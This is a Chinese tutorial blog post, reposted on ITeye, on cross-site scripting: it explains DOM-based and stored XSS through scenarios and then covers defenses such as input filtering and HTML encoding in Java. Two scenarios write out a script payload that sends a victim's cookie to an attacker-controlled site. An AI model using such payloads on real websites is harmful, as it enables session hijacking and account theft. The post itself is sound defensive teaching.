XSS攻击及防御

标签: xss 攻击 | 发表时间:2017-01-07 22:03 | 作者:windpoplar
出处:http://www.iteye.com

       本文来自: 高爽|Coder,原文地址: http://blog.csdn.net/ghsau/article/details/17027893,转载请注明。
        XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

XSS攻击

       XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上, 所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。

DOM Based XSS

       DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。

        场景一

       当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样,其它语言类似: 

<%@ page language= " JavacontentType= "text/html; charset=UTF-8" pageEncoding= "UTF-8"%>

<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">

<html>

    <head>

       <title>XSS 测试</title>

    </head>

    <body>

       页面内容:<%=request.getParameter("content")%>

    </body>

</html>

      我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址为:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,当Tom点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!这个过程中,受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>,浏览器展示页面内容的过程中,就会执行我的脚本,页面输出xss字样,这是攻击了我自己,那我如何攻击别人并且获利呢?

 

Stored XSS

       Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者 数据库中,所以受害者是很多人。

        场景二

       a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功!这个过程中,受害者是多个人。
       Stored XSS漏洞危害性更大,危害面更广。

XSS防御

       我们是在一个矛盾的世界中,有矛就有盾。只要我们的代码中不存在漏洞,攻击者就无从下手,我们要做一个没有缝的蛋。XSS防御有如下方式。

完善的过滤体系

        永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。

Html encode

        假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。

less-than character (<)

&lt;

greater-than character (>)

&gt;

ampersand character (&)

&amp;

double-quote character (")

&quot;

space character( )

&nbsp;

Any ASCII code character whose code is greater-than or equal to 0x80

&#<number>, where <number> is the ASCII character value.

      比如用户输入:<script>window.location.href=”http://www.baidu.com”;</script>,保存后最终存储的会是:&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。

 

其它

 

       下面提供两种 Html encode的方法。
  • 使用Apache的commons-lang.jar

    StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码,空格不转换

  • 自己实现转换,只转换部分字符

    private static String htmlEncode( char c) {

         switch(c) {

            case '&':

                return "&amp;";

            case '<':

                return "&lt;";

            case '>':

                return "&gt;";

            case '"':

                return "&quot;";

            case ' ':

                return "&nbsp;";

            default:

                return c + "";

        }

    }

     

    /** 对传入的字符串str进行Html encode转换 */

    public static String htmlEncode(String str) {

         if (str == null || str.trim().equals(""))    return str;

        StringBuilder encodeStrBuilder =  new StringBuilder();

         for ( int i = 0, len = str.length(); i < len; i++) {

           encodeStrBuilder.append( htmlEncode(str.charAt(i)));

        }

         return encodeStrBuilder.toString();

    }



已有 0 人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



相关 [xss 攻击] 推荐:

前端xss攻击

- - SegmentFault 最新的文章
实习的时候在项目中有接触过关于xss攻击的内容,并且使用了项目组中推荐的一些常用的防xss攻击的方法对项目进行了防攻击的完善. 但一直没有时间深入了解这东西,在此,做一个简单的梳理. xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入的恶意html代码会被执行,从而达到恶意用户的特殊目的.

XSS攻击及防御

- - BlogJava-qileilove
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性. 其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的.

XSS攻击技术详解

- - BlogJava-qileilove
  XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆. web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中. 比如这些代码包括HTML代码和客户端脚本. 攻击者利用XSS漏洞旁路掉访问控制--例如同源策略(same origin policy).

XSS攻击及防御

- - 互联网 - ITeye博客
       本文来自: 高爽|Coder,原文地址: http://blog.csdn.net/ghsau/article/details/17027893,转载请注明.         XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.

新浪微博的XSS攻击

- 铭文 - 酷壳 - CoolShell.cn
今天晚上(2011年6月28日),新浪微博出现了一次比较大的XSS攻击事件. 大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等微博和私信,并自动关注一位名为hellosamy的用户.

【原创】腾讯微博的XSS攻击漏洞

- sec314 - 博客园-首页原创精华区
相信大家都知道新浪微博在6月28日发生的XSS攻击事件了吧. 在那晚里,大量新浪微博用户自动发送微博信息和自动关注一名叫“hellosamy“的用户. 究竟XSS攻击为什么能有这么大的威力. 现在很多网站都采用了Cookie记录访问者的登录状态,在进行某些功能操作时(比如:发微博),服务器判断用户的Cookie记录的登录状态,如果用户是登录状态的则允许操作.

使用Http-only Cookie来防止XSS攻击

- - 标点符
www服务依赖于Http协议实现,Http是无状态的协议,所以为了在各个会话之间传递信息,就不可避免地用到Cookie来标记访问者的状态. 只要获得这个Cookie,就可以取得别人的身份,入侵个人账户或者网站. 对于网站来说,一旦存在了xss漏洞就意味着入侵者可以在浏览器中执行任意的JS脚本,这时候获得Cookie就变得非常的简单.

基于Antisamy项目实现防XSS攻击

- - CSDN博客互联网推荐文章
    最近项目上线,请第三方公司进行了一次渗透性测试,被发现存在多处XSS攻击. 由于我们对于URL的Get请求已经通过URLFilter进行了特殊字符过滤,Get请求的漏洞已经被封堵,但是对于Post请求考虑到我们项目存在表单提交,富文本编辑等功能,不敢贸然的使用Filter对关键字进行过滤. 为了解决上述问题,我们采用了OWASP的一个开源的项目AntiSamy来彻底解决XSS攻击问题.

java 防止 XSS 攻击的常用方法总结.

- - 行业应用 - ITeye博客
自己写 filter 拦截来实现,但要注意的时,在WEB.XML 中配置 filter 的时候,请将这个 filter 放在第一位. 采用开源的实现 ESAPI library ,参考网址: https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API.

网站攻防之CSRF和XSS跨站脚本攻击

- - CSDN博客推荐文章
进入正题之前,先扯一番:黑客本义并非某些人以为的利用网络干坏事的人,刚开始或者说现在的很多,黑客是以技术大牛的形式存在的,也就是在网络领域有一门专场的牛人. 有些黑客不干坏事而是干好事,比如利用网站的漏洞,去告诉网站开发运营者你的网站有漏洞,要修补啦,他们却并不会利用这漏洞干坏事,而是以发现漏洞追求技术快感为享受.